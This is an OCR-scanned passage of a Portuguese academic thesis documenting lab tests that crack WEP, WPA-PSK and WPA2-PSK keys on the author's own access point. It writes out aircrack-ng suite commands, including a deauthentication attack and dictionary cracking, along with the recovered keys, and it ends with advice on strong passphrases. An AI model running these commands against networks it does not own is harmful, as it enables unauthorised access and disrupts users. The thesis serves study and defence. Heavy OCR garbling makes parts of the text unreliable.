Opening ./captura64-01.cap

laittack will be restarted every 5000 captured ivs.
Starting PTW attack with 26292 ivs.

Aircrack-ng 1.8 betal

[60:00:06] Tested 300098 keys (got 657 IVs)

KB depth byte(vote)

6] ey 1 P6(2304) 78(1792) 05(1536) 7E(1536) 83(1536) 91(1536)

1 5/ 9 4E(1536) 64(1536) E6(1536) F3(1536) OF(1288) 1C(1280)

2 9/ 13 62(1536) 67(1536) 69(1536) 6C(1536) B©5(1288) 16(1280)

3 ey 1 08(2304) 99(1792) AE(1792) D1(1792) 5F(1536) 69(1536)

4 ey 2 71(2304) 3C(2304) 5F(1792) 73(1792) 90(1792) 9F(1792)

5 ey 1 27(2304) TFE(1792) 84(1792) 12(1536) 44(1536) 5A(1536)

5] 2/, 7 B1(1536) DF(1536) 1E(1536) 22(1536) 7D(1536) 17(1280)

7 ey 3 D1(2048) AD(1792) D4(1792) ©7(1536) 10(1536) 4D(1536)

8 ey 4 BF(2048) BO(2048) 37(1792) 58(1792) 80(1536) 18(1536) =
9 3/ 8 20(1792) 16(1536) 23(1536) 48(1536) 56(1536) AA(1536) 1
10 ey 1 85(2304) 1©(1792) 7D(1792) A9(1792) B4(1792) ©2(1536)

11 ey 1 ce(ze48) 47(1792) 8F(1792) E8(1792) 25(1536) 2A(1536)

12 1/ 2 05(2048) 66(1792) C3(1792) EF(1792) 27(1536) 3A(1536)

Figura 21 Aircrack-ngem execucao.

Apdés 1 minuto e 11 segundos, com 0s 26.292 |Vsucagbs osoftware
conseguiu quebrar a chave criptografica WEP dei&1“ABCD123456", testando
58.326 combinagbes de chaves por meio de forca:lfigura 22. Com essa senha foi

possivel autenticar-se na rede e usufruir de toda@scursos sem maiores dificuldades.

Arquive Editar “er Terminal Abas Ajuda
[~]
Alrcrack-ng 1.0 betal

[80:81:11] Tested 58326 keys (got 26292 IVs)

B depth  byte(vote)

o] 12/ 17 B9(31232) 21(30288) 23(30208) 97(30288) AB(30208) C1l(302088)
1 2/ 8 CD(33280) 4B(32768) AC(32256) 2B(31744) B6B(31744) 42(31488)
2 6/ 32 12(32000) OF(31744) 37(31488) 42(31488) 74(31488) 46(31232)
3 s 1 34(41216) 52(33280) A4(33280) EB(32256) 34(32000) D2(32088)
4 o/ 14 56(33536) E1(32512) EC(31744) 31(31488) F2(31232) F5(31232)

|KEY FOUND! [ AB:CD:12:34:56 ]|
Decrypted correctly: 188%

root@atacante:~# |

Figura 22. Criptografia WEP @4its quebrada por for¢a bruta.
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7.2.3.2 Quebrando WEP 128its

A quebra do protocolo WEP 128ts foi executada seguindo as mesmas
etapas da quebra do protocolo WEPDb@&4. Inicialmente, foram obtidos alguns dados

da rede com o comandawlist winO scan’, Figura 23, para poder iniciar a captura dos

IVs.

Arquive Editar Mer Terminal Abas Ajuda

root@atacante: /wep# |iwlist wlan® scan | (=]

wlang Scan completed :

Cell 1 - |Address: ©0:1B:11:F4:EF:74]

ESSID: "dlink"

Mode:Master

Frequency:2.457 GHz (Channel 10)

Quality=52/108 Signal level=-48 dBm

|[Encryption key:on

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; & Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s

Extra:tsf=000000010882achs

root@atacante: /wep# |J

[+

Figura 23. Saida do comando iwlist.

Conforme a Figura 23, pode-se perceber que houwermuidanca de canal.
Anteriormente o sinal era transmitido pelo canal &jora foi alterado para o canal 10.
Essa mudanca foi proposital como maneira de ditgaerma rede atual da anterior que
mostra que a captura e quebra funcionam em amboanass. Na saida do comando

pode-se perceber que existe criptografia na redeighra 24 apresenta a criptografia

WEP 128 que foi habilitada raxcess poinpara esse teste.
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Figura 24. Criptografia WEP 128ts habilitada naccess point

Apos ter as informagdes necessarias sobre a mdeicfada a interface sem

fio em modo monitor com o comandaairhon-ng start wlan0”e, em seguida, foi

iniciada a captura dos IVs, sob o comandairddump-ng -c 10 wepl28 wlan0”

Lembremos que a rede esta transmitindo pelo cahaugé serve como filtro para a

captura. A Figura 25 demonstra a captura dos IVeeda com criptografia WEP 128

bits habilitada.
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CH 10 ][ Elapsed: 38 mins ][ 2008-10-28 00:31 s
BSSID PWR RX0Q Beacons #Data,|#/s | CH |MB | ENC | CIPHER AUTH|ESSID
00:1B:11:F4:EF:74 206 72 6] 117471 36 | 10 |54.| WEP | WEP dlink

BSSID STATION PWR  Rate Lost Packets Probes

00:1B:11:F4:EF:74 ©0:21:91:1E:B1:FF 202 0- @ 63 118746

root@atacante: /wep# |

Figura 25 Airodump-ngcapturando IVs.

Finalizando a etapa de quebra, foi executado avaodtAicrack-NGsobre o
arquivo wepl128. O arquivo, contendo 117.471 IVstdstado por 293 chaves em 39
segundos, obtendo assim a chave “123456789009826643345” que realmente € a
chave criptografica da rede. A Figura 26 traz ocesso de quebra da chave em 39

segundos.

Arquivo Editar Ver Terminal Abas Ajuda

Aircrack-ng 1.8 betal

[00:00:39] Tested 293 keys (got 117471 IVs)

KB depth  byte(vote)

¢} e 1 12(166144) B9(131840) 2B(131584) 3B(129792) B6(129792) C7(129536)
1 e 1 34(162048) 91(131848) CE(130304) B3(129792) OF(128512) 64(128256)
2 s 1 56(155136) B5(130304) 18(129024) 46(128512) 69(128236) 74(128256)
3 e 1 78(172544) C1(135168) FE(130560) D8(129280) CA(128880) 45(127488)
4 af 1 98(147968) 13(132352) 1E(131328) AB(129792) 75(129280) C1(128768)
5 e 1 09(162560) ED(136192) 28(129536) A9(129536) E1(129536) 46(128768)
6 e 1 87(152064) 6E(132352) 8D(130816) 23(130048) 2B(129536) D4(129536)
7 e/ 1 65(1536600) 96(135424) 5D(132864) 4C(132096) 81(130560) BE(130048)
8 e 1 43(155648) 41(131840) ©5(131072) 6A(129792) 1E(128512) 1F(127488)
9 s 1 21(148224) 98(132864) 7F(128000) B2(128000) 04(127744) 1D(127488)
1@ e 1 9D(134400) EB(133376) 4B(131584) 7E(130816) 5A(130560) 14(130048)
11 s 1 79(133120) AE(132352) 065(129280) F5(129024) A3(128768) B9(128768)
12 e 1 45(137572) ©9(129484) 24(128096) Al(127716) D9(127184) ©1(125768)

KEY FOUND! [ 12:34:56:78:90:09:87:653:43:21:01:23:45 ]
Decrypted correctly: 1@8%

root@atacante: /wep# ||

Figura 26. Criptografia WEP 128ts quebrada por forca bruta.
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O Padrdo WEP conforme comentario anterior, mosgseoaem um nivel de
seguranca extremamente baixo, muito vulneravebquat, sendo que a variacdo do
WEP 64 ou WEP 12Bits ndo garante mais seguranca, pois a falha exst@manho
da chave s¢ ira refletir no tempo de quebra.

N&o é recomendado o uso desse padréo. Caso o reguifpautilizado nao

tenha outro tipo de encriptacéo, recomenda-serteochave regularmente.

7.2.4 Presenca do Protocolo WPA

Assim como o WEP, o WPA é um protocolo criptogmfiatilizado para
embaralhar as informacfes que séo transmitidageate redes sem fio.

Entre as diversas variacdes do protocolo, foi desta variacdo com o
conceito dePre Shared Key (PSK)YO protocolo WPA também utiliza vetores de

inicializacdo (IVs) na formacgéo do pacote criptdiga

7.2.4.1 Quebrando WPA-PSK com TKIP

O Temporal Key Integrity ProtocdITKIP) é um algoritmo de criptografia
baseado em chaves que se alteram a cada novo dmvyacotes. A sua principal
caracteristica é a frequente mudanca de chavegagaete mais seguranca a rede.

A Figura 27 mostra a chave criptografica WPA-PSKiamalgoritmo TKIP
habilitada no AP. Além dessa alteracéo, foi alteraciome da rede para “tcc” e o canal
para “11” a fim de diferenciar a rede atual da anteitilizada na quebra do protocolo

WEP.
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Figura 27. Chave criptografica WPA-PSK com algooitiKIP habilitada no AP.

O processo de quebra de uma chave WPA & semelhant®® WEP e

consiste nos seguintes passos:

a) obter informacdes da rede que se deseja atacar;
b) iniciar interface em modo monitor;

C) iniciar a captura de IVs;

d) capturar a autenticacéo do usuari@ocess point

e) realizar a quebra por meio de ataque de didmdardados.

Iniciando com o primeiro item, foi executado o cowha “‘iwlist wlanO

scan” e obtida a saida exposta na Figura 28.
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root@atacante:~/flavio# iwlist wlan@ scan s
wlan@ Scan completed :
Cell 81 -[Address: B0:1B:11:F4:EF:74
ESSID: "tce"

Mode :Master
Frequency:2.462 GHz (Channel 11)
Quality=51/180 Signal level=-58 dBm
Encryption key:on
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=000000801d9810e5

root@atacante:~/flavio# | 3

Figura 28. Saida do comanilidist.

De acordo com o exposto anteriormente e por meibiglara 28, pode ser
percebido que a rede agora tem o nome “tcc” e ®stdo transmitida pelo canal 11.
Vemos, também, que esta com encriptacdo WPA (vergdautenticacdo PSK e com
algoritmo criptografico TKIP.

Continuando o teste foi iniciada a interface em onotbnitor por meio do
Airmon-NG Uma vez que a interface esteve em modo monioiniciada a captura
dos IVs com o comandoalrodump-ng —c 11 —w wpal_tkip wlan@nde o parametro
—c se refere ao canal (11), o parametro “-w” ao@dmarquivo que vai conter os IVs e

“wlan0” a interface de rede sem fio. A Figura 2%exo comando sendo executado.
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CH 11 ][ Elapsed: 48 s ][ 2008-11-01 14:39

BSSID PWR RXQ Beacons #Data, #/s CH MB |ENC CIPHER AUTH ESSID

00:1B:11:F4:EF:74 209 100 493 272 8 11 54.|WPA TKIP PSK tcc

BSSID STATION PWR Rate Lost Packets Probes

00:1B:11:F4:EF:74 00:16:44:13:BF:C0 208 0- 0 ] 267 tcc

Figura 29 Airodump-NGiniciando captura de 1Vs.

A etapa seguinte do ataque consiste em capturaeat&acdo do usuario no
access point A captura da autenticagdo € necessaria, pois esf@o contidas
informacgBes da rede como criptografia, métodosamepcessdo e chaves secretas, que
sdo indispenséaveis paraoftwareAircrack-NG executar a quebra da chave.

Para isso, foi deixado o terminal atual capturanelofoi aberto outro
terminal, sendo executado o comandwéplay-ng --deauth 1 -a 00:1B:11:F4:EF:74 -c
00:16:44:13:BF:C0 wlanQ O primeiro parametro “--deauth 1” se refere aocpsso de
desconexdo. O parametro “-a” se refere ao endekd&&C do access pointe o
parametro “-c” ao endereco MAC da maquina do usufue estd sendo atacada.

Esse comando faz com que o computador do atacawie @m pacote ao
Access Pointsimulando o processo de desconexao do usuareczmo. A Figura 30

exibe a saida do comando.
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root@atacante:~#|aireplay—ng --deauth 1 -a 80:1B:11:F4:EF:74 -c 00:16:44:13:BF:C8 wlanEl|
14:40:57 Sending DeAuth To station -- STMAC: [90:16:44:13:BF:C0]|
root@atacante:~# [j

root@atacante:~# [~]

Figura 30. Envio de pacote de desconexao de rede.

Enganado pelo pacoteaocess pointaz com que o usuario se re-autentique,

um processo que é executado de forma automatica elioria dos sistemas

operacionais. Com isso, o0 processo de autenticsgr@ogravado pela captura qu

sendo executado pelo outro terminal, conforme ar&ig1.

e esta

Arquive Editar Ver Terminal Abas Ajuda

CH 11 ][ Elapsed: 1 min ][ 2008-11-81 14:40 ][ WPA handshake: 08:1B:11:F4:EF:74

BSSID PWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1B:11:F4:EF:74 206 100 710 2871 63 11 54. WPA TKIP PSK tcc
BSSID STATION PWR Rate Lost Packets Probes
00:1B:11:F4:EF:74 00:16:44:13:BF:C0 208 g- 8 4] 2776 tcc

root@atacante:~# ||

=]

Figura 31. Autenticacao raccess point
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A indicacdo WPAhandshaké significa que a maquina esta autenticada no
access pointEssa autenticacao foi gravada no arquivo de aptos IVs, sendo que
sem gravar o processo de autentica¢@mdshakgenéo sera possivel efetuar a quebra
da chave criptogréfica.

Apoés a captura dos IVs e da autenticacdo foi peksinciar a quebra da
chave. Foram capturados 54.762 Vs durante 22 wenconforme apresenta a Figura

32.
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CH 11 ][ Elapsed: 22 mins ][ 20088-11-81 14:58 ][ WPA handshake: ©8:1B:11:F4:EF:74

BS5ID PWR RX0Q Beacons #Data, |#/s CH MB ENC CIPHER AUTH ESSID
B0:1B:11:F4:EF:74 204 (] (] 34762 8 11 54. WPA tcc
BSSID STATION PWR Rate Lost Packets Probes
00:1B:11:F4:EF:74 00:16:44:13:BF:C0 208 ©6- 0 0 54861

root@atacante:~/flavio#

Figura 32. Captura de IVs por meio do softwairedump-ngapds 22 minutos.

Conforme o texto da sesséo 5.2.1, € possivel sa@rifjue 0 WPA possui IVs
com 48bits, tornando o ataque por forca bruta inviavel, dead tempo de execucao
do mesmo. Desse modo, para quebrar a chave cafitagkVPA é necessario o uso de
um ataque de dicionario.

O ataque de dicionario faz o0 uso de um arquiveeg®} conhecido também
como wordlist com milhares ou até milhdes de palavras. Assinsoftware tenta

adivinhar a chave, usando cada uma das palavrada®no arquivo de dicionario.

“ Protocolo de autenticacao utilizado pelo protodIBA.
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Um ataque de dicionario é geralmente mais eficidotgue um ataque de
forca bruta, visto que, normalmente, os usuaridkizarem senhas fracas. Alguns
softwares além de testarem cada palavra do arquivo, fazembinacdes entre as
palavras, multiplicando a quantidade de possilikdaestadas.

O passo seguinte para a quebra da chave foi execAtecrack-NG sobre o
arquivo de IVs capturado pelirodump-NG Para iniciar a quebra, foi executado o
comando: aircrack-ng —w wordlist.Ist wpal_tkip*.c&pO parametro “-w” indica o
nome do arquivo de dicionario e o parametwpdl_tkip*.cap indica o nome do
arquivo que contém a captura.

E importante ressaltar que pode ser feita mais ma woaptura, sendo
efetuada a quebra desses arquivos em um unicosgde quebra.

A Figura 33 exibe a chave WPA quebrada por meiatdgue de dicionario

em pouco mais de 1 segundo, sendo que nesse raEdbvaretestou, em meédia, 31

chaves por segundo.
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Aircrack-ng 1.0 betal

[00:80:01] 36 keys tested (31.19 k/s)

KEY FOUND! [ testewpa ]

Master Key : 1B 50 6C 69 9C 4F CA 77 C8 5E 9F 36 D3 26 36 6D
EA AC 9B B2 D4 32 53 76 9A OF 03 17 88 3E 63 OF

Transcient Key : F2 15 FD 87 99 EA C4 ED D5 41 34 6F B7 73 5A 01
AC 66 86 B3 D6 FB 67 72 C8 E9 14 FC FB 90 2C D3
9C 38 4B 00 F3 3F 73 15 39 85 F6 1C FB 38 93 F8
15 E2 44 FF 78 C2 BC 86 9E 2A 6F F1 BB 4C 78 17

EAPOL HMAC : FF 99 FA 6D CF DA 9C 77 EA DD 5A 97 78 A3 4C 22

Figura 33. Processo de quebra da chave WPA.
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A chave encontrada foi “testewpa” que realmente é&have que foi
configurada naccess point(Figura 27). Se essa chave, porém, nao estiygssente
no dicionario utilizado no ataque, ndo seria padsavwguebra da chave. Desse modo, a
wordlisttem um papel fundamental para que se possa quebrgtografia WPA.

As vezes € necessario testar com mais de um dimoai@ que se quebre a

chave com sucesso. A Figura 34 apresenta um poodesguebra sem sucesso.
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[60:09:44] 19884 keys tested (33.36 k/s)

Current passphrase: zzzzzzzz

Master Key : 3B 45 86 05 74 93 94 E7 9A D3 44 2B 71 F6 OF 4B
79 7D 29 26 BD 06 EZ 6E 4E 53 0C 80 DB 4F 8D 73

Transclent Key : D3 AF 7F FD 82 23 9F 17 BO 97 23 51 5A 1F 74 23
99 51 17 Co CB 52 A4 BE 6B 99 6F F9 C5 AB 97 C9
D1 ©B BF 2C 82 A8 5E D9 59 6C E8 AC 70 F1 2A 4C
65 1A 4C FF 62 BC B8 16 76 FF 93 8F DE 2E F3 B2

EAPOL HMAC : 36 DD 41 ©5 03 FD 18 36 F2 CD 9B DB 88 89 70 FC

Passphrase not in dictionnary

Quitting aircrack-ng...

Figura 34. Quebra de chave WPA sem sucesso.

Como pode ser visto na Figura 34, testando em m&8iahaves por
segundo, csoftwareexecutou a procura por quase 10 e ndo obteve \&,chais a
mesma néo estava contida no dicionario. Nesse @asoecessario utilizar outro
dicionario para o ataque. Muitas vezes € necessétipar varios dicionarios até se

obter a chave com sucesso.
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7.2.4.2 Quebrando WPA-PSK com AES

O protocolo criptograficdAdvanced Encryption StandafAES) tem como
fundamento dividir os dados em blocos para crigtiagrcada bloco separadamente. O
AES, particularmente, faz uso de blocos de bBE& Em principio, quanto maior o
bloco, mais seguro o algoritmo. A chave usada pan@ptografia € a mesma para todos
os blocos.

Nessa parte do teste foi habilitada no AP a chalAWSK como o

algoritmo AES, conforme Figura 35.

D-Link AirPlus G

802.11g/2.4GHz Wireless Router
| Home Advanced Tools Status = Help
DI-524 | e
~ These are the wireless settings for the AP{Access Point) portion.
‘—* Wireless @ Enabled © Disabled
Network IDISSID) tee
- -
I Wizard Channel 11[2[ -
Security WPA-PSK [=]
Encryption @
Wireless TYp I TKIP 2/ AES
Preshare Key testeaes
[
9 90
|— Cancel Hel
TR Apply p
&'
DHCP

Figura 35. Seguranca WPA-PSK com algoritmo AESIhabta noaccess point

As etapas para a quebra da chave criptografica W8KR-com algoritmo
AES sédo as mesmas utilizadas na quebra do TKI&aihdo o ataque, foram coletadas

as informacdes da rede, por meio dalist” .
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root@atacante:~# iwlist wlan® scan e
wland Scan completed :
Cell ©1 - |Address; 80:1B:11:F4:EF:74
ESSID"tec”

Mode :Master
Freguency:2.462 GHz (Channel 11)
Quality=51/180 Signal lewel=-52 dBm
Encryption key:on
IE: WPA Version 1
Group Cipher : CCMP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s £
48 Mb/s; 54 Mb/s
Extra:tsf=0000000138ab634e

root@atacante:~#

Figura 36. Informacdes da rede obtidas pelo comamiii.

Na Figura 36 pode ser visualizada a rede cujo rfihec” com criptografia
WPA (versdo 1), autenticagcdo PSK e algoritmo CCRRalgoritmo AES também é
conhecido como AES-CCMP e hinux é identificado somente como CCMP.

Continuando o teste, foi colocada a interface endanmonitor e, em
seguida, deu-se inicio a captura sob o comaanlodump-ng -c 11 -w wpal_aes”

Por se tratar de uma chave WPA, também foi nedessé cutar o comando
de desconexao do usuario autenticado, fazendo cenele se conectasse novamente,

capturando a autenticagdo. A Figura 37 exibe aicapt
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CH 11 ][ Elapsed: 19 mins ][ 2008-11-81 16:27 ]|[ WPA handshake: ©8:1B:11:F4:EF:74

BS5ID PWR RX0Q Beacons #Data, #/s CH MB |ENC CIPHER AUTH ESSID

00:1B6:11:F4:EF:74 202 100 472 81304 3 11 54.|WPA CCMP PSK tcc

BSSID STATION PWR  Rate Lost Packets Probes
00:1B:11:F4:EF:74 00:16:44:13:BF:C0 210 0- 0 8] 1123 tcc

root@atacante:~#

Figura 37. Captura de IVs com criptografia WPA-RS#lgoritmo AES.

A Figura 37 apresenta cerca de 81.000 IVs captsradese ataque. Por ser
uma quantidade consideravel, foi iniciada a quel®@a.comando executado foi
“aircrack-ng —w wordlist.Ist wpal_aes*.Cague € o0 mesmo do outro ataque, alterando
somente 0 nome do arquivo parpal_ aesPara esse ataque foi utilizado o mesmo
dicionario do ataque ao algoritmo TKIP.

Apoés 8 horas e 56 minutos Adrcrack-NG conseguiu determinar a chave
“testea€s contida noaccess pointe, conseqientemente, a entrada no mesmo sem

maiores dificuldades. A Figura 38 exibe a quebczdida.



85

Arquive Editar Wer Terminal Abas Ajuda

[2]

|[BB:BS:56] 17786 keys tested (32.85 k/s)

|KEY FOUND! [ testeaes ]|

Master Key : 07 C6 69 4F 2C E@ 35 88 7A 53 B0 B6A 97 3E 41 OF
90 15 4F 4C 9E E9 67 50 C1 B> 65 E4 55 82 15 18

Transcient Key : 28 24 85 AB 69 B1 2C CF 94 85 77 50 C7 8F @D 48
EC F4 A6 C6 C4 66 EA 4A OF E2 96 72 5E DF 2B 8B
82 7C 4C 13 8F A® 4B 23 C7 7E E8 51 7F 76 1D FF
1F BC 21 28 33 6D 7C 59 40 E2 87 F9 5F 68 2D Al

EAPOL HMAC : F3 B5 9A 71 F5 BF 8A 23 F1 D9 72 4B 73 57 78 12

Figura 38. Chave criptografica WPA-PSK com algootAES encontrada.

Mediante os testes executados nos algoritmos TKAE®, verificou-se que
o algoritmo AES levou uma quantidade de tempo dendvel para a quebra em relacéo
ao TKIP, sendo que o processo de captura foi o m@sma os dois algoritmos.

O AES, se utilizado com uma chave mais elaboradtgrea mais dificil de
ser quebrado. Mesmo assim, a quebra ndo é impbsBleeapenas, na melhor das
hipéteses, torna o ataque computacionalmente iaeliau seja, o tempo ou o custo para
que o algoritmo seja quebrado € maior que o tengpeidh ou o valor da informacéo
criptografada respectivamente.

O dicionario de palavras tem um papel fundamengabjnebra. De nada
adianta capturar varios Vs da rede se n&o ha ens oné dicionario bem completo. E
ele quem garante o sucesso da quebra. O dicionfilivado nos testes € chamado
wordlist, tem o tamanho de 4fiegabyte® cerca de 6.000.000 de palavras. Foi baixado
do site www.astalavista.com.br, que contém varioewarios de vérias linguas. O ideal
para um atacante € fazer a concatenacdo de vérioeatios, obtendo um dicionario

completo.



86

7.2.5 Presenca do Protocolo WA2

Nos testes sobre o protocolo WPAZ2 foi utilizadaasagdo WPA2-PSK com
algoritmo AES. Foi configurada naccess pointa criptografia WPA2, conforme a

Figura 39.

D-Link

Buisding Networks 1or Peopie

Air-Plus G

802.11g9/2.4GHz Wireless Router

| Home [UVELTS0 Tools Status Help
DI-524 |
These are the wiréless settings for the AP(Access Point} partion.
‘—-:’ o Wirgless @ Enabled © Disabled
Netwark ID(SSID) | flavia
ﬁ | oy
Security WPAZ-PSK[AES) [=]
Preshare Ke wpapskaes
Wireless > e
E— 9 OO0
J
Apply Cancel Help
e
P
DHCP

Figura 39. Seguranca WPA2-PSK com algoritmo AESliteda noaccess point

O processo de gquebra do protocolo WPA2 ¢ idénticatiéizada na quebra
do WPA (verséo 1). Foi iniciado com a pesquisanderinacdes da rede por meio do

iwlist.
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root@atacante:~# iwlist wlan@ scan [=
wlan® Scan completed :
Cell 81 - |Address: 00:1B:11:F4:EF:74
ESSID: "flavio"
Mode:Master
Frequency:2.447 GHz (Channel 8)
Quality=52/1008 Signal level=-44 dBm
Encryption key:on
IE: IEEE 802.11i/WPA2 Version 1
Group Cipher : CCMP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=0000000083564CH2 3

root@atacante:~# |

Figura 40. Saida do comanildist.

A saida do comandawlist na Figura 40 exibe a chave WPA2, também
conhecida como 802.11i, habilitada com autentic®3i¢ e algoritmo CCMP (AES).

Com essas informacgdes foi iniciada a captura dakdaa rede sob o
comando: “airodump-ng —¢c 8 — w wpaz2-psk wlanO"Vale lembrar que foram
executados os mesmos procedimentos da quebra da& SHMBRA versdo 1. por a
interface em modo monitor antes de iniciar a captar durante ela, forcar a
autenticacdo do usuario access pointa fim de capturar a autenticagdo do mesmo por

meio doairodump-NG
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CH 8 ][ Elapsed: 15 mins ][ 2008-11-88 80:23 ][ WPA handshake: 00:1B:11:F4:EF:74

BSSID PWR RXQ Beacons #Data, |[#/5 CH MB |ENC CIPHER AUTH ESSID

00:1B:11:F4:EF:74 210 100 8818 53195 | 19 & 54.|WPA2 CCMP PSK flavio

BSSID STATION PWR Rate Lost Packets Probes
00:1B:11:F4:EF:74 00:16:44:13:BF:C0 210 0- 0 a 52925 flavio

root@atacante:~# ||

Figura 41 Airodump-NGcapturando 1Vs com protocolo WPA2 habilitado.

A captura de cerca de 53.000 IVs levou 15 minusesido que n&o foi
gerado trafego sobre essa captura. Iniciando arguktd executado o comando
“aicrack-ng —w wordlist.Ist ./ wpa2-psk*.cap; ap0s 9 minutos e 34 segundos de
execucao, softwareconseguiu determinar a chawwpapskaes que realmente é a

chave que estava implementadaacoess pointexibido na Figura 39.
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[>]

Aircrack-ng 1.8 betal

[00:089:34] 19480 keys tested (32.98 k/s)

KEY FOUND! [ wpapskaes ]

Master Key : FC 7E 05 A9 BD B2 A® 38 C8 F© 03 E6 FE C2 1C 32
57 20 77 2A F5 CA 88 9F D7 36 OE 24 7E 1C 91 04

Transcient Key : 35 BB 4C 76 B4 Bl 4A 5F DC 83 2C 1D 38 37 EB 98
AB 8F D6 1F FB 6F 22 20 9F 73 57 F9 BB 37 38 BY
CE 6D E4 03 83 F2 80 E6 4A D1 7D 3F 67 B3 92 AB
7F 5E 5A Al EB C7 87 25 0A 27 C9 1D FB D1 9B DD

EAPOL HMAC : BD FE 68 75 8E 42 3B 53 41 93 53 D9 F3 E1 5B F6

Figura 42. Quebra da chave WPA2 por meidAdorack-NG
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Mediante esse teste, conclui-se que nao adiantzautium protocolo
criptografico robusto se a chave implementada m&befor bem elaborada. Como prova
disso, foi realizado um segundo teste com uma chareelaborada, fazendo o uso de
caracteres maiusculos, minusculos, caracteresiagpemumeros. A Figura 43 exibe a

chave “TEsteSEnha23465~@#$tccfinal)(*&” configurameaccess point

D-Link

AarPlus G

Buisamg Networks for Peopie
802.11g/2.4GHz Wireless Router
| Home Advanced Tools Status Help
DI-524 | s
= These are the wireless settings for the AP(Access Point) porion.
‘-’ Wireless @ Enabled ) Disabled
Network ID(SSID) | flavio
Wizard Channel S
Security WPAZ-PSK(AES) E]
E Preshare Key TEsteSEnhaZ3465~@#Stccfinal (&
Wireless
- 2 @ O
WAM d
Apply Cancel Help
PR
LAN
o
DHCP

Figura 43. Seguranca WPA2-PSK com algoritmo AES chave elaborada.

Foi realizada a captura dos IVs com 0os mesmos pasgeriores da quebra
do WPA com respectivo inicio da quebra da chavsof@vareexecutou por mais de 19
horas, testando mais de 2.340.000 combina¢cbes éada encontrado a chave, e o
dicionario utilizado para a quebra possuia mai6.de0.000 chaves. A Figura 44 exibe

€SSe pProcesso.
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[19:02:14] 2341052 keys tested (29.74 k/s)

Current passphrase: firstword

Master Key : 3D Do 9B AE D1 EZ 18 49 C2 CD 55 AD B1 B1 3A 6B
B6 AC AB B1 97 65 4F 16 63 69 08 1A 8A F8 38 4D

Transcient Key : EF 98 81 35 4C 33 51 E6 R ©3 GF 84 EX BF 28 14
F3 BB BF 64 31 C5 CC E9 90 41 B9 6D 65 2F 20 3F
1F 5A 77 84 15 21 C7 96 B3 BD OB 6D 4F 5A EB 43
65 77 AB 0B BD DE 98 ©C 45 3E 39 5C 57 38 DA 7F

EAPOL HMAC : 32 CF 8F D3 4B A3 65 80 CB 7A B1 C1 D3 11 55 @5

Figura 44 Aircrack-NG executando quebra a mais de 19 horas.

Tendo como base o segundo teste pode ser congualama chave bem
elaborada é uma forma de melhorar significativamenseguranca em uma rede sem

fio.
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7.3 RESULTADOS OBTIDOS

Com os testes realizados por meio desta pesquisgos$sivel chegar a
alguns resultados a respeito da seguranca em mmesfio. Observou-se que o0
protocolo WEP, possui maior vulnerabilidade diadtes outros. Independente do
tamanho da chave 64 ou 1BP8s e da senha utilizada, este apresenta um nivel de
seguranca baixo, estando restrito somente ao a&cdocsinal. Assim, o uso desse
protocolo criptografico deve ser evitado sempregpssivel.

No que se refere aos protocolos WPA e WPA2, foenlzlo que sdo mais
seguros que o protocolo WEP, porém, ainda nem tadasulnerabilidades foram
resolvidas de forma satisfatoria. As quebras efietsianesses protocolos durante os
testes foram possiveis somente em chaves com semisideradas fracas, com poucos
caracteres ou sequéncias muito logicas. Utilizaim@wes com senhas fortes, frases com
caracteres mailsculos, minasculos, numéricos eteaes especiais, ndo foi possivel
efetuar a quebra em funcdo do aumento de tempxetrigho para que software
possa determinar a chave, podendo chegar a camsidea estimativa de tempo acima
de um ano na tentativa da quebra da chave. Esdaagesta limitada também ao
dicionario de dados utilizado durante a etapa dizegdo do ataque, sendo que senhas
consideradas fortes dificilmente estdo contidas dicionarios, até podem ser
descobertas, porém em um tempo nao hbil.

O nivel de seguranca de uma rede sem fio podeuseerdado de forma
significativa, utilizando uma senha consideradaefoE importante também efetuar a
troca dessa senha periodicamente. Em muitos caseguaanca de uma rede sem fio €
comprometida pela configuracdo atribuida a esta, falta de conhecimento dos

usuarios no que diz respeito a configuracdo dogpamentos. Quando se trata de uma
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rede corporativa onde requer um nivel maior de reega, € necessario um
conhecimento maior a cerca da configuracdo dositsypos, e assim tentar garantir,

um nivel de seguranca desejado.
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CONCLUSAO

Este trabalho demonstrou, por meio das pesquistestes praticos, as
vulnerabilidades existentes nos protocolos WEP, WPWPA2, como explora-las e
como minimizar os perigos existentes na transmideaados em uma rede sem fio.

Prover seguranca em uma rede na qual as informagiegam pelo ar é
uma tarefa extremamente dificil, sendo que os dadas expostos de maneira muito
mais facil de serem capturados em relacdo a una cadeada. Garantir 100% de
seguranca em uma rede sem fio & totalmente immbdssivn os protocolos atuais,
porém novos protocolos e métodos de seguranca sest@indo para sanar esses
problemas. O que pode ser feito € minimizar aserallidades existentes, dificultando
ao maximo os ataques.

Constantemente tém surgido novas padronizacOesratecplos com o
intuito de minimizar as vulnerabilidades e melhavadlesempenho dos mesmos, cabe
aos usuarios um melhor entendimento e atualizag@wca dos protocolos, de forma a
melhorar o nivel de seguranca.

O presente trabalho contribui signitivamente panatras pesquisas
relacionadas na area. Trabalhos futuros podeneabrados a cerca de novos padrdes
seguindo a metodologia descrita nesse documento.

Por fim, este trabalho contribui deixando um cdgpjtoa forma de apéndice,
de facil leitura e entendimento que pode ser atlliztanto por usuarios de rede sem fio
quanto para administradores para criar infra-as@stde comunicacdo cada vez mais

flexiveis, sem deixar de lado a seguranca da irdo&m.
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APENDICE A: DE REDES SEM FIO: GUIA DE BOAS PRATICAS

Apoés o conhecimento adquirido com o término dessayisa foi possivel
